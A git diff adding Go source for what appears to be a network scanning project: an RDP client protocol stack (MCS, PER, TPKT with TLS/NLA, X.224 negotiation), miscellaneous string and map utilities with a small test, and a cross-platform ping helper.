+func (c *MCSClient) sendChannelJoinRequest(channelId uint16) {
+ glog.Debug("mcs sendChannelJoinRequest", channelId)
+ buff := &bytes.Buffer{}
+ writeMCSPDUHeader(CHANNEL_JOIN_REQUEST, 0, buff)
+ per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff)
+ per.WriteInteger16(channelId, buff)
+ c.transport.Write(buff.Bytes())
+}
+
+func (c *MCSClient) recvData(s []byte) {
+ glog.Debug("msc on data recvData:", hex.EncodeToString(s))
+
+ r := bytes.NewReader(s)
+ option, err := core.ReadUInt8(r)
+ if err != nil {
+ c.Emit("error", err)
+ return
+ }
+
+ if readMCSPDUHeader(option, DISCONNECT_PROVIDER_ULTIMATUM) {
+ c.Emit("error", errors.New("MCS DISCONNECT_PROVIDER_ULTIMATUM"))
+ c.transport.Close()
+ return
+ } else if !readMCSPDUHeader(option, c.recvOpCode) {
+ c.Emit("error", errors.New("Invalid expected MCS opcode receive data"))
+ return
+ }
+
+ userId, _ := per.ReadInteger16(r)
+ userId += MCS_USERCHANNEL_BASE
+
+ channelId, _ := per.ReadInteger16(r)
+ per.ReadEnumerates(r)
+ size, _ := per.ReadLength(r)
+
+ // channel ID doesn't match a requested layer
+ found := false
+ channelName := ""
+ for _, channel := range c.channels {
+ if channel.ID == channelId {
+ found = true
+ channelName = channel.Name
+ break
+ }
+ }
+ if !found {
+ glog.Error("mcs receive data for an unconnected layer")
+ return
+ }
+ left, err := core.ReadBytes(int(size), r)
+ if err != nil {
+ c.Emit("error", errors.New(fmt.Sprintf("mcs recvData get data error %v", err)))
+ return
+ }
+ glog.Debug("mcs emit channel", channelName, left)
+ c.Emit(channelName, left)
+ //c.Emit(channelName, s)
+}
+
+func (c *MCSClient) recvChannelJoinConfirm(s []byte) {
+ glog.Debug("mcs recvChannelJoinConfirm", hex.EncodeToString(s))
+ r := bytes.NewReader(s)
+ option, err := core.ReadUInt8(r)
+ if err != nil {
+ c.Emit("error", err)
+ return
+ }
+
+ if !readMCSPDUHeader(option, CHANNEL_JOIN_CONFIRM) {
+ c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_WAIT_CHANNEL_JOIN_CONFIRM"))
+ return
+ }
+
+ confirm, _ := per.ReadEnumerates(r)
+ userId, _ := per.ReadInteger16(r)
+ userId += MCS_USERCHANNEL_BASE
+ if c.userId != userId {
+ c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_INVALID_USER_ID"))
+ return
+ }
+
+ channelId, _ := per.ReadInteger16(r)
+ if (confirm != 0) && (channelId == uint16(MCS_GLOBAL_CHANNEL) || channelId == c.userId) {
+ c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_MUST_CONFIRM_STATIC_CHANNEL"))
+ return
+ }
+
+ /*if confirm == 0 {
+ for i := 0; i < int(c.serverNetworkData.ChannelCount); i++ {
+ if channelId == c.serverNetworkData.ChannelIdArray[i] {
+ c.channels[channelId] = c.serverNetworkData.ChannelIdArray[i][1]
+ }
+ }
+ }*/
+
+ c.connectChannels()
+}
+
+func (c *MCSClient) SendToChannel(data []byte, channelId uint16) (n int, err error) {
+ buff := &bytes.Buffer{}
+ writeMCSPDUHeader(c.sendOpCode, 0, buff)
+ per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff)
+ per.WriteInteger16(channelId, buff)
+ core.WriteUInt8(0x70, buff)
+ per.WriteLength(len(data), buff)
+ core.WriteBytes(data, buff)
+ glog.Debug("MCSClient write", hex.EncodeToString(buff.Bytes()))
+ return c.transport.Write(buff.Bytes())
+}
+
+func (c *MCSClient) Write(data []byte) (n int, err error) {
+ return c.SendToChannel(data, c.channels[0].ID)
+}
diff --git a/lib/grdp/protocol/t125/per/per.go b/lib/grdp/protocol/t125/per/per.go
new file mode 100644
index 0000000..5381057
--- /dev/null
+++ b/lib/grdp/protocol/t125/per/per.go
@@ -0,0 +1,203 @@
+package per
+
+import (
+ "bytes"
+ "io"
+
+ "KscanPro/lib/grdp/glog"
+
+ "KscanPro/lib/grdp/core"
+)
+
+func ReadEnumerates(r io.Reader) (uint8, error) {
+ return core.ReadUInt8(r)
+}
+
+func WriteInteger(n int, w io.Writer) {
+ if n <= 0xff {
+ WriteLength(1, w)
+ core.WriteUInt8(uint8(n), w)
+ } else if n <= 0xffff {
+ WriteLength(2, w)
+ core.WriteUInt16BE(uint16(n), w)
+ } else {
+ WriteLength(4, w)
+ core.WriteUInt32BE(uint32(n), w)
+ }
+}
+
+func ReadInteger16(r io.Reader) (uint16, error) {
+ return core.ReadUint16BE(r)
+}
+
+func WriteInteger16(value uint16, w io.Writer) {
+ core.WriteUInt16BE(value, w)
+}
+
+/**
+ * @param choice {integer}
+ * @returns {type.UInt8} choice per encoded
+ */
+func WriteChoice(choice uint8, w io.Writer) {
+ core.WriteUInt8(choice, w)
+}
+
+/**
+ * @param value {raw} value to convert to per format
+ * @returns type objects per encoding value
+ */
+func WriteLength(value int, w io.Writer) {
+ if value > 0x7f {
+ core.WriteUInt16BE(uint16(value|0x8000), w)
+ } else {
+ core.WriteUInt8(uint8(value), w)
+ }
+}
+
+func ReadLength(r io.Reader) (uint16, error) {
+ b, err := core.ReadUInt8(r)
+ if err != nil {
+ return 0, nil
+ }
+ var size uint16
+ if b&0x80 > 0 {
+ b = b &^ 0x80
+ size = uint16(b) << 8
+ left, _ := core.ReadUInt8(r)
+ size += uint16(left)
+ } else {
+ size = uint16(b)
+ }
+ return size, nil
+}
+
+/**
+ * @param oid {array} oid to write
+ * @returns {type.Component} per encoded object identifier
+ */
+func WriteObjectIdentifier(oid []byte, w io.Writer) {
+ core.WriteUInt8(5, w)
+ core.WriteByte((oid[0]<<4)&(oid[1]&0x0f), w)
+ core.WriteByte(oid[2], w)
+ core.WriteByte(oid[3], w)
+ core.WriteByte(oid[4], w)
+ core.WriteByte(oid[5], w)
+}
+
+/**
+ * @param selection {integer}
+ * @returns {type.UInt8} per encoded selection
+ */
+func WriteSelection(selection uint8, w io.Writer) {
+ core.WriteUInt8(selection, w)
+}
+
+func WriteNumericString(s string, minValue int, w io.Writer) {
+ length := len(s)
+ mLength := minValue
+ if length >= minValue {
+ mLength = length - minValue
+ }
+ buff := &bytes.Buffer{}
+ for i := 0; i < length; i += 2 {
+ c1 := int(s[i])
+ c2 := 0x30
+ if i+1 < length {
+ c2 = int(s[i+1])
+ }
+ c1 = (c1 - 0x30) % 10
+ c2 = (c2 - 0x30) % 10
+ core.WriteUInt8(uint8((c1<<4)|c2), buff)
+ }
+ WriteLength(mLength, w)
+ w.Write(buff.Bytes())
+}
+
+func WritePadding(length int, w io.Writer) {
+ b := make([]byte, length)
+ w.Write(b)
+}
+
+func WriteNumberOfSet(n int, w io.Writer) {
+ core.WriteUInt8(uint8(n), w)
+}
+
+/**
+ * @param oStr {String}
+ * @param minValue {integer} default 0
+ * @returns {type.Component} per encoded octet stream
+ */
+func WriteOctetStream(oStr string, minValue int, w io.Writer) {
+ length := len(oStr)
+ mlength := minValue
+
+ if length-minValue >= 0 {
+ mlength = length - minValue
+ }
+ WriteLength(mlength, w)
+ w.Write([]byte(oStr)[:length])
+}
+
+func ReadChoice(r io.Reader) uint8 {
+ choice, _ := core.ReadUInt8(r)
+ return choice
+}
+func ReadNumberOfSet(r io.Reader) uint8 {
+ choice, _ := core.ReadUInt8(r)
+ return choice
+}
+func ReadInteger(r io.Reader) uint32 {
+ size, _ := ReadLength(r)
+ switch size {
+ case 1:
+ ret, _ := core.ReadUInt8(r)
+ return uint32(ret)
+ case 2:
+ ret, _ := core.ReadUint16BE(r)
+ return uint32(ret)
+ case 4:
+ ret, _ := core.ReadUInt32BE(r)
+ return ret
+ default:
+ glog.Info("ReadInteger")
+ }
+ return 0
+}
+
+func ReadObjectIdentifier(r io.Reader, oid []byte) bool {
+ size, _ := ReadLength(r)
+ if size != 5 {
+ return false
+ }
+
+ a_oid := []byte{0, 0, 0, 0, 0, 0}
+ t12, _ := core.ReadByte(r)
+ a_oid[0] = t12 >> 4
+ a_oid[1] = t12 & 0x0f
+ a_oid[2], _ = core.ReadByte(r)
+ a_oid[3], _ = core.ReadByte(r)
+ a_oid[4], _ = core.ReadByte(r)
+ a_oid[5], _ = core.ReadByte(r)
+
+ for i, _ := range oid {
+ if oid[i] != a_oid[i] {
+ return false
+ }
+ }
+ return true
+}
+func ReadOctetStream(r io.Reader, s string, min int) bool {
+ ln, _ := ReadLength(r)
+ size := int(ln) + min
+ if size != len(s) {
+ return false
+ }
+ for i := 0; i < size; i++ {
+ b, _ := core.ReadByte(r)
+ if b != s[i] {
+ return false
+ }
+ }
+
+ return true
+}
diff --git a/lib/grdp/protocol/tpkt/tpkt.go b/lib/grdp/protocol/tpkt/tpkt.go
new file mode 100644
index 0000000..8fb10dd
--- /dev/null
+++ b/lib/grdp/protocol/tpkt/tpkt.go
@@ -0,0 +1,229 @@
+package tpkt
+
+import (
+ "bytes"
+ "encoding/hex"
+ "fmt"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/emission"
+ "KscanPro/lib/grdp/glog"
+ "KscanPro/lib/grdp/protocol/nla"
+)
+
+// take idea from https://github.com/Madnikulin50/gordp
+
+/**
+ * Type of tpkt packet
+ * Fastpath is use to shortcut RDP stack
+ * @see http://msdn.microsoft.com/en-us/library/cc240621.aspx
+ * @see http://msdn.microsoft.com/en-us/library/cc240589.aspx
+ */
+const (
+ FASTPATH_ACTION_FASTPATH = 0x0
+ FASTPATH_ACTION_X224 = 0x3
+)
+
+/**
+ * TPKT layer of rdp stack
+ */
+type TPKT struct {
+ emission.Emitter
+ Conn *core.SocketLayer
+ ntlm *nla.NTLMv2
+ secFlag byte
+ lastShortLength int
+ fastPathListener core.FastPathListener
+ ntlmSec *nla.NTLMv2Security
+}
+
+func New(s *core.SocketLayer, ntlm *nla.NTLMv2) *TPKT {
+ t := &TPKT{
+ Emitter: *emission.NewEmitter(),
+ Conn: s,
+ secFlag: 0,
+ ntlm: ntlm}
+ core.StartReadBytes(2, s, t.recvHeader)
+ return t
+}
+
+func (t *TPKT) StartTLS() error {
+ return t.Conn.StartTLS()
+}
+
+func (t *TPKT) StartNLA() error {
+ err := t.StartTLS()
+ if err != nil {
+ glog.Info("start tls failed", err)
+ return err
+ }
+ req := nla.EncodeDERTRequest([]nla.Message{t.ntlm.GetNegotiateMessage()}, nil, nil)
+ _, err = t.Conn.Write(req)
+ if err != nil {
+ glog.Info("send NegotiateMessage", err)
+ return err
+ }
+
+ resp := make([]byte, 1024)
+ n, err := t.Conn.Read(resp)
+ if err != nil {
+ return fmt.Errorf("read %s", err)
+ } else {
+ glog.Debug("StartNLA Read success")
+ }
+ return t.recvChallenge(resp[:n])
+}
+
+func (t *TPKT) recvChallenge(data []byte) error {
+ glog.Debug("recvChallenge", hex.EncodeToString(data))
+ tsreq, err := nla.DecodeDERTRequest(data)
+ if err != nil {
+ glog.Info("DecodeDERTRequest", err)
+ return err
+ }
+ glog.Debugf("tsreq:%+v", tsreq)
+ // get pubkey
+ pubkey, err := t.Conn.TlsPubKey()
+ glog.Debugf("pubkey=%+v", pubkey)
+
+ authMsg, ntlmSec := t.ntlm.GetAuthenticateMessage(tsreq.NegoTokens[0].Data)
+ t.ntlmSec = ntlmSec
+
+ encryptPubkey := ntlmSec.GssEncrypt(pubkey)
+ req := nla.EncodeDERTRequest([]nla.Message{authMsg}, nil, encryptPubkey)
+ _, err = t.Conn.Write(req)
+ if err != nil {
+ glog.Info("send AuthenticateMessage", err)
+ return err
+ }
+ resp := make([]byte, 1024)
+ n, err := t.Conn.Read(resp)
+ if err != nil {
+ glog.Error("Read:", err)
+ return fmt.Errorf("read %s", err)
+ } else {
+ glog.Debug("recvChallenge Read success")
+ }
+ return t.recvPubKeyInc(resp[:n])
+}
+
+func (t *TPKT) recvPubKeyInc(data []byte) error {
+ glog.Debug("recvPubKeyInc", hex.EncodeToString(data))
+ tsreq, err := nla.DecodeDERTRequest(data)
+ if err != nil {
+ glog.Info("DecodeDERTRequest", err)
+ return err
+ }
+ glog.Debug("PubKeyAuth:", tsreq.PubKeyAuth)
+ //ignore
+ //pubkey := t.ntlmSec.GssDecrypt([]byte(tsreq.PubKeyAuth))
+ domain, username, password := t.ntlm.GetEncodedCredentials()
+ credentials := nla.EncodeDERTCredentials(domain, username, password)
+ authInfo := t.ntlmSec.GssEncrypt(credentials)
+ req := nla.EncodeDERTRequest(nil, authInfo, nil)
+ _, err = t.Conn.Write(req)
+ if err != nil {
+ glog.Info("send AuthenticateMessage", err)
+ return err
+ }
+
+ return nil
+}
+
+func (t *TPKT) Read(b []byte) (n int, err error) {
+ return t.Conn.Read(b)
+}
+
+func (t *TPKT) Write(data []byte) (n int, err error) {
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(FASTPATH_ACTION_X224, buff)
+ core.WriteUInt8(0, buff)
+ core.WriteUInt16BE(uint16(len(data)+4), buff)
+ buff.Write(data)
+ glog.Debug("tpkt Write", hex.EncodeToString(buff.Bytes()))
+ return t.Conn.Write(buff.Bytes())
+}
+
+func (t *TPKT) Close() error {
+ return t.Conn.Close()
+}
+
+func (t *TPKT) SetFastPathListener(f core.FastPathListener) {
+ t.fastPathListener = f
+}
+
+func (t *TPKT) SendFastPath(secFlag byte, data []byte) (n int, err error) {
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(FASTPATH_ACTION_FASTPATH|((secFlag&0x3)<<6), buff)
+ core.WriteUInt16BE(uint16(len(data)+3)|0x8000, buff)
+ buff.Write(data)
+ glog.Debug("TPTK SendFastPath", hex.EncodeToString(buff.Bytes()))
+ return t.Conn.Write(buff.Bytes())
+}
+
+func (t *TPKT) recvHeader(s []byte, err error) {
+ glog.Debug("tpkt recvHeader", hex.EncodeToString(s), err)
+ if err != nil {
+ t.Emit("error", err)
+ return
+ }
+ r := bytes.NewReader(s)
+ version, _ := core.ReadUInt8(r)
+ if version == FASTPATH_ACTION_X224 {
+ glog.Debug("tptk recvHeader FASTPATH_ACTION_X224, wait for recvExtendedHeader")
+ core.StartReadBytes(2, t.Conn, t.recvExtendedHeader)
+ } else {
+ t.secFlag = (version >> 6) & 0x3
+ length, _ := core.ReadUInt8(r)
+ t.lastShortLength = int(length)
+ if t.lastShortLength&0x80 != 0 {
+ core.StartReadBytes(1, t.Conn, t.recvExtendedFastPathHeader)
+ } else {
+ core.StartReadBytes(t.lastShortLength-2, t.Conn, t.recvFastPath)
+ }
+ }
+}
+
+func (t *TPKT) recvExtendedHeader(s []byte, err error) {
+ glog.Debug("tpkt recvExtendedHeader", hex.EncodeToString(s), err)
+ if err != nil {
+ return
+ }
+ r := bytes.NewReader(s)
+ size, _ := core.ReadUint16BE(r)
+ glog.Debug("tpkt wait recvData:", size)
+ core.StartReadBytes(int(size-4), t.Conn, t.recvData)
+}
+
+func (t *TPKT) recvData(s []byte, err error) {
+ glog.Debug("tpkt recvData", hex.EncodeToString(s), err)
+ if err != nil {
+ return
+ }
+ t.Emit("data", s)
+ core.StartReadBytes(2, t.Conn, t.recvHeader)
+}
+
+func (t *TPKT) recvExtendedFastPathHeader(s []byte, err error) {
+ glog.Debug("tpkt recvExtendedFastPathHeader", hex.EncodeToString(s))
+ r := bytes.NewReader(s)
+ rightPart, err := core.ReadUInt8(r)
+ if err != nil {
+ glog.Error("TPTK recvExtendedFastPathHeader", err)
+ return
+ }
+
+ leftPart := t.lastShortLength & ^0x80
+ packetSize := (leftPart << 8) + int(rightPart)
+ core.StartReadBytes(packetSize-3, t.Conn, t.recvFastPath)
+}
+
+func (t *TPKT) recvFastPath(s []byte, err error) {
+ glog.Debug("tpkt recvFastPath")
+ if err != nil {
+ return
+ }
+
+ t.fastPathListener.RecvFastPath(t.secFlag, s)
+ core.StartReadBytes(2, t.Conn, t.recvHeader)
+}
diff --git a/lib/grdp/protocol/x224/x224.go b/lib/grdp/protocol/x224/x224.go
new file mode 100644
index 0000000..eebda07
--- /dev/null
+++ b/lib/grdp/protocol/x224/x224.go
@@ -0,0 +1,272 @@
+package x224
+
+import (
+ "bytes"
+ "encoding/hex"
+ "errors"
+ "fmt"
+
+ "KscanPro/lib/grdp/glog"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/emission"
+ "KscanPro/lib/grdp/protocol/tpkt"
+ "github.com/lunixbochs/struc"
+)
+
+// take idea from https://github.com/Madnikulin50/gordp
+
+/**
+ * Message type present in X224 packet header
+ */
+type MessageType byte
+
+const (
+ TPDU_CONNECTION_REQUEST MessageType = 0xE0
+ TPDU_CONNECTION_CONFIRM = 0xD0
+ TPDU_DISCONNECT_REQUEST = 0x80
+ TPDU_DATA = 0xF0
+ TPDU_ERROR = 0x70
+)
+
+/**
+ * Type of negotiation present in negotiation packet
+ */
+type NegotiationType byte
+
+const (
+ TYPE_RDP_NEG_REQ NegotiationType = 0x01
+ TYPE_RDP_NEG_RSP = 0x02
+ TYPE_RDP_NEG_FAILURE = 0x03
+)
+
+/**
+ * Protocols available for x224 layer
+ */
+
+const (
+ PROTOCOL_RDP uint32 = 0x00000000
+ PROTOCOL_SSL = 0x00000001
+ PROTOCOL_HYBRID = 0x00000002
+ PROTOCOL_HYBRID_EX = 0x00000008
+)
+
+/**
+ * Use to negotiate security layer of RDP stack
+ * In node-rdpjs only ssl is available
+ * @param opt {object} component type options
+ * @see request -> http://msdn.microsoft.com/en-us/library/cc240500.aspx
+ * @see response -> http://msdn.microsoft.com/en-us/library/cc240506.aspx
+ * @see failure ->http://msdn.microsoft.com/en-us/library/cc240507.aspx
+ */
+type Negotiation struct {
+ Type NegotiationType `struc:"byte"`
+ Flag uint8 `struc:"uint8"`
+ Length uint16 `struc:"little"`
+ Result uint32 `struc:"little"`
+}
+
+func NewNegotiation() *Negotiation {
+ return &Negotiation{0, 0, 0x0008 /*constant*/, PROTOCOL_RDP}
+}
+
+/**
+ * X224 client connection request
+ * @param opt {object} component type options
+ * @see http://msdn.microsoft.com/en-us/library/cc240470.aspx
+ */
+type ClientConnectionRequestPDU struct {
+ Len uint8
+ Code MessageType
+ Padding1 uint16
+ Padding2 uint16
+ Padding3 uint8
+ Cookie []byte
+ ProtocolNeg *Negotiation
+}
+
+func NewClientConnectionRequestPDU(coockie []byte) *ClientConnectionRequestPDU {
+ x := ClientConnectionRequestPDU{0, TPDU_CONNECTION_REQUEST, 0, 0, 0,
+ coockie, NewNegotiation()}
+ x.Len = uint8(len(x.Serialize()) - 1)
+ return &x
+}
+
+func (x *ClientConnectionRequestPDU) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt8(x.Len, buff)
+ core.WriteUInt8(uint8(x.Code), buff)
+ core.WriteUInt16BE(x.Padding1, buff)
+ core.WriteUInt16BE(x.Padding2, buff)
+ core.WriteUInt8(x.Padding3, buff)
+
+ buff.Write(x.Cookie)
+ if x.Len > 14 {
+ core.WriteUInt16LE(0x0A0D, buff)
+ }
+ struc.Pack(buff, x.ProtocolNeg)
+ return buff.Bytes()
+}
+
+/**
+ * X224 Server connection confirm
+ * @param opt {object} component type options
+ * @see http://msdn.microsoft.com/en-us/library/cc240506.aspx
+ */
+type ServerConnectionConfirm struct {
+ Len uint8
+ Code MessageType
+ Padding1 uint16
+ Padding2 uint16
+ Padding3 uint8
+ ProtocolNeg *Negotiation
+}
+
+/**
+ * Header of each data message from x224 layer
+ * @returns {type.Component}
+ */
+type DataHeader struct {
+ Header uint8 `struc:"little"`
+ MessageType MessageType `struc:"uint8"`
+ Separator uint8 `struc:"little"`
+}
+
+func NewDataHeader() *DataHeader {
+ return &DataHeader{2, TPDU_DATA /* constant */, 0x80 /*constant*/}
+}
+
+/**
+ * Common X224 Automata
+ * @param presentation {Layer} presentation layer
+ */
+type X224 struct {
+ emission.Emitter
+ transport core.Transport
+ requestedProtocol uint32
+ selectedProtocol uint32
+ dataHeader *DataHeader
+}
+
+func New(t core.Transport) *X224 {
+ x := &X224{
+ *emission.NewEmitter(),
+ t,
+ PROTOCOL_RDP | PROTOCOL_SSL | PROTOCOL_HYBRID,
+ PROTOCOL_SSL,
+ NewDataHeader(),
+ }
+
+ t.On("close", func() {
+ x.Emit("close")
+ }).On("error", func(err error) {
+ x.Emit("error", err)
+ })
+
+ return x
+}
+
+func (x *X224) Read(b []byte) (n int, err error) {
+ return x.transport.Read(b)
+}
+
+func (x *X224) Write(b []byte) (n int, err error) {
+ buff := &bytes.Buffer{}
+ err = struc.Pack(buff, x.dataHeader)
+ if err != nil {
+ return 0, err
+ }
+ buff.Write(b)
+
+ glog.Debug("x224 write:", hex.EncodeToString(buff.Bytes()))
+ return x.transport.Write(buff.Bytes())
+}
+
+func (x *X224) Close() error {
+ return x.transport.Close()
+}
+
+func (x *X224) SetRequestedProtocol(p uint32) {
+ x.requestedProtocol = p
+}
+
+func (x *X224) Connect() error {
+ if x.transport == nil {
+ return errors.New("no transport")
+ }
+ message := NewClientConnectionRequestPDU(make([]byte, 0))
+ message.ProtocolNeg.Type = TYPE_RDP_NEG_REQ
+ message.ProtocolNeg.Result = uint32(x.requestedProtocol)
+
+ glog.Debug("x224 sendConnectionRequest", hex.EncodeToString(message.Serialize()))
+ _, err := x.transport.Write(message.Serialize())
+ x.transport.Once("data", x.recvConnectionConfirm)
+ return err
+}
+
+func (x *X224) recvConnectionConfirm(s []byte) {
+ glog.Debug("x224 recvConnectionConfirm ", hex.EncodeToString(s))
+ message := &ServerConnectionConfirm{}
+ if err := struc.Unpack(bytes.NewReader(s), message); err != nil {
+ glog.Error("ReadServerConnectionConfirm err", err)
+ return
+ }
+ glog.Debugf("message: %+v", *message.ProtocolNeg)
+ if message.ProtocolNeg.Type == TYPE_RDP_NEG_FAILURE {
+ glog.Error(fmt.Sprintf("NODE_RDP_PROTOCOL_X224_NEG_FAILURE with code: %d,see https://msdn.microsoft.com/en-us/library/cc240507.aspx",
+ message.ProtocolNeg.Result))
+ //only use Standard RDP Security mechanisms
+ if message.ProtocolNeg.Result == 2 {
+ glog.Info("Only use Standard RDP Security mechanisms, Reconnect with Standard RDP")
+ x.Emit("error", errors.New("PROTOCOL_RDP"))
+ }
+ x.Close()
+ return
+ }
+
+ if message.ProtocolNeg.Type == TYPE_RDP_NEG_RSP {
+ glog.Info("TYPE_RDP_NEG_RSP")
+ x.selectedProtocol = message.ProtocolNeg.Result
+ }
+
+ if x.selectedProtocol == PROTOCOL_HYBRID_EX {
+ glog.Error("NODE_RDP_PROTOCOL_HYBRID_EX_NOT_SUPPORTED")
+ return
+ }
+
+ x.transport.On("data", x.recvData)
+
+ if x.selectedProtocol == PROTOCOL_RDP {
+ glog.Info("*** RDP security selected ***")
+ x.Emit("connect", x.selectedProtocol)
+ return
+ }
+
+ if x.selectedProtocol == PROTOCOL_SSL {
+ glog.Info("*** SSL security selected ***")
+ err := x.transport.(*tpkt.TPKT).StartTLS()
+ if err != nil {
+ glog.Error("start tls failed:", err)
+ return
+ }
+ x.Emit("connect", x.selectedProtocol)
+ return
+ }
+
+ if x.selectedProtocol == PROTOCOL_HYBRID {
+ glog.Info("*** NLA Security selected ***")
+ err := x.transport.(*tpkt.TPKT).StartNLA()
+ if err != nil {
+ glog.Error("start NLA failed:", err)
+ return
+ }
+ x.Emit("connect", x.selectedProtocol)
+ return
+ }
+}
+
+func (x *X224) recvData(s []byte) {
+ glog.Debug("x224 recvData", hex.EncodeToString(s), "emit data")
+ // x224 header takes 3 bytes
+ x.Emit("data", s[3:])
+}
diff --git a/lib/misc/misc.go b/lib/misc/misc.go
new file mode 100644
index 0000000..6f9125b
--- /dev/null
+++ b/lib/misc/misc.go
@@ -0,0 +1,225 @@
+package misc
+
+import (
+ "encoding/base64"
+ "fmt"
+ "math/rand"
+ "reflect"
+ "strconv"
+ "strings"
+)
+
+func IsDuplicate[T any](slice []T, val T) bool {
+ for _, item := range slice {
+ if fmt.Sprint(item) == fmt.Sprint(val) {
+ return true
+ }
+ }
+ return false
+}
+
+func RemoveDuplicateElement[T any](slice []T, elems ...T) []T {
+ slice = append(slice, elems...)
+ set := make(map[string]struct{}, len(slice))
+ j := 0
+ for _, v := range slice {
+ _, ok := set[fmt.Sprint(v)]
+ if ok {
+ continue
+ }
+ set[fmt.Sprint(v)] = struct{}{}
+ slice[j] = v
+ j++
+ }
+ return slice[:j]
+}
+
+func FixLine(line string) string {
+ line = strings.ReplaceAll(line, "\t", "")
+ line = strings.ReplaceAll(line, "\r", "")
+ line = strings.ReplaceAll(line, "\n", "")
+ line = strings.ReplaceAll(line, "\xc2\xa0", "")
+ line = strings.ReplaceAll(line, " ", "")
+ return line
+}
+
+func Xrange(args ...int) []int {
+ var start, stop int
+ var step = 1
+ var r []int
+ switch len(args) {
+ case 1:
+ stop = args[0]
+ start = 0
+ case 2:
+ start, stop = args[0], args[1]
+ case 3:
+ start, stop, step = args[0], args[1], args[2]
+ default:
+ return nil
+ }
+ if start > stop {
+ return nil
+ }
+ if step < 0 {
+ return nil
+ }
+
+ for i := start; i <= stop; i += step {
+ r = append(r, i)
+ }
+ return r
+}
+
+func MustLength(s string, i int) string {
+ if len(s) > i {
+ return s[:i]
+ }
+ return s
+}
+
+func Percent(int1 int, int2 int) string {
+ float1 := float64(int1)
+ float2 := float64(int2)
+ f := 1 - float1/float2
+ f = f * 100
+ return strconv.FormatFloat(f, 'f', 2, 64)
+}
+
+func StrRandomCut(s string, length int) string {
+ sRune := []rune(s)
+ if len(sRune) > length {
+ i := rand.Intn(len(sRune) - length)
+ return string(sRune[i : i+length])
+ } else {
+ return s
+ }
+}
+
+func Base64Encode(keyword string) string {
+ input := []byte(keyword)
+ encodeString := base64.StdEncoding.EncodeToString(input)
+ return encodeString
+}
+
+func Base64Decode(encodeString string) (string, error) {
+ decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)
+ return string(decodeBytes), err
+}
+
+func CloneStrMap(strMap map[string]string) map[string]string {
+ newStrMap := make(map[string]string)
+ for k, v := range strMap {
+ newStrMap[k] = v
+ }
+ return newStrMap
+}
+
+func CloneIntMap(intMap map[int]string) map[int]string {
+ newIntMap := make(map[int]string)
+ for k, v := range intMap {
+ newIntMap[k] = v
+ }
+ return newIntMap
+}
+
+func RandomString(i ...int) string {
+ var length int
+ var str string
+ if len(i) != 1 {
+ length = 32
+ } else {
+ length = i[0]
+ }
+ Char := "01234567890abcdef"
+ for range Xrange(length) {
+ j := rand.Intn(len(Char) - 1)
+ str += Char[j : j+1]
+ }
+ return str
+}
+
+func Intersection(a []string, b []string) (inter []string) {
+ for _, s1 := range a {
+ for _, s2 := range b {
+ if s1 == s2 {
+ inter = append(inter, s1)
+ }
+ }
+ }
+ return inter
+}
+
+func FixMap(m map[string]string) map[string]string {
+ var arr []string
+ rm := make(map[string]string)
+ for key, value := range m {
+ if value == "" {
+ continue
+ }
+ if IsDuplicate(arr, value) {
+ if key != "Username" && key != "Password" {
+ continue
+ }
+ }
+ arr = append(arr, value)
+ rm[key] = value
+ }
+ return rm
+}
+
+func CloneMap(m map[string]string) map[string]string {
+ var nm = make(map[string]string)
+ for key, value := range m {
+ nm[key] = value
+ }
+ return nm
+}
+
+func AutoWidth(s string, length int) int {
+ length1 := len(s)
+ length2 := len([]rune(s))
+
+ if length1 == length2 {
+ return length
+ }
+ return length - (length1-length2)/2
+}
+
+func ToMap(param interface{}) map[string]string {
+ t := reflect.TypeOf(param)
+ v := reflect.ValueOf(param)
+ if t.Kind() == reflect.Ptr {
+ t = t.Elem()
+ v = v.Elem()
+ }
+ m := make(map[string]string)
+ for i := 0; i < t.NumField(); i++ {
+ // 通过interface方法来获取key所对应的值
+ var cell string
+ switch s := v.Field(i).Interface().(type) {
+ case string:
+ cell = s
+ case []string:
+ cell = strings.Join(s, "; ")
+ case int:
+ cell = strconv.Itoa(s)
+ case Stringer:
+ cell = s.String()
+ default:
+ continue
+ }
+ m[t.Field(i).Name] = cell
+ }
+ return m
+}
+
+type Stringer interface {
+ String() string
+}
+
+func CopySlice[T any](slice []T) []T {
+ v := make([]T, len(slice))
+ copy(v, slice)
+ return v
+}
diff --git a/lib/misc/misc_test.go b/lib/misc/misc_test.go
new file mode 100644
index 0000000..472e715
--- /dev/null
+++ b/lib/misc/misc_test.go
@@ -0,0 +1,14 @@
+package misc
+
+import (
+ "fmt"
+ "testing"
+)
+
+func TestFixLine(t *testing.T) {
+
+ var s = "1 1 1 1"
+ fmt.Println(s)
+ fmt.Println(FixLine(s))
+
+}
diff --git a/lib/osping/osping.go b/lib/osping/osping.go
new file mode 100644
index 0000000..e175fb2
--- /dev/null
+++ b/lib/osping/osping.go
@@ -0,0 +1,31 @@
+package osping
+
+import (
+ "os/exec"
+ "runtime"
+)
+
+func Ping(host string) bool {
+ var cmd *exec.Cmd
+ switch runtime.GOOS {
+ case "windows":
+ cmd = exec.Command("ping", host, "-n", "1", "-w", "200")
+ case "linux":
+ cmd = exec.Command("ping", host, "-c", "1", "-W", "1")
+ case "darwin":
+ cmd = exec.Command("ping", host, "-c", "1", "-W", "200")
+ case "freebsd":
+ cmd = exec.Command("ping", "-c", "1", "-W", "200", host)
+ case "openbsd":
+ cmd = exec.Command("ping", "-c", "1", "-w", "200", host)
+ case "netbsd":
+ cmd = exec.Command("ping", "-c", "1", "-w", "2", host)
+ default:
+ cmd = exec.Command("ping", "-c", "1", host)
+ }
+ err := cmd.Run()
+ if err != nil {
+ return false
+ }
+ return true
+}
diff --git a/lib/pool/go.mod b/lib/pool/go.mod
new file mode 100644
index 0000000..54d7e4c
--- /dev/null
+++ b/lib/pool/go.mod
@@ -0,0 +1,3 @@
+module github.com/lcvvvv/pool
+
+go 1.17
diff --git a/lib/pool/pool.go b/lib/pool/pool.go
new file mode 100644
index 0000000..0016dff
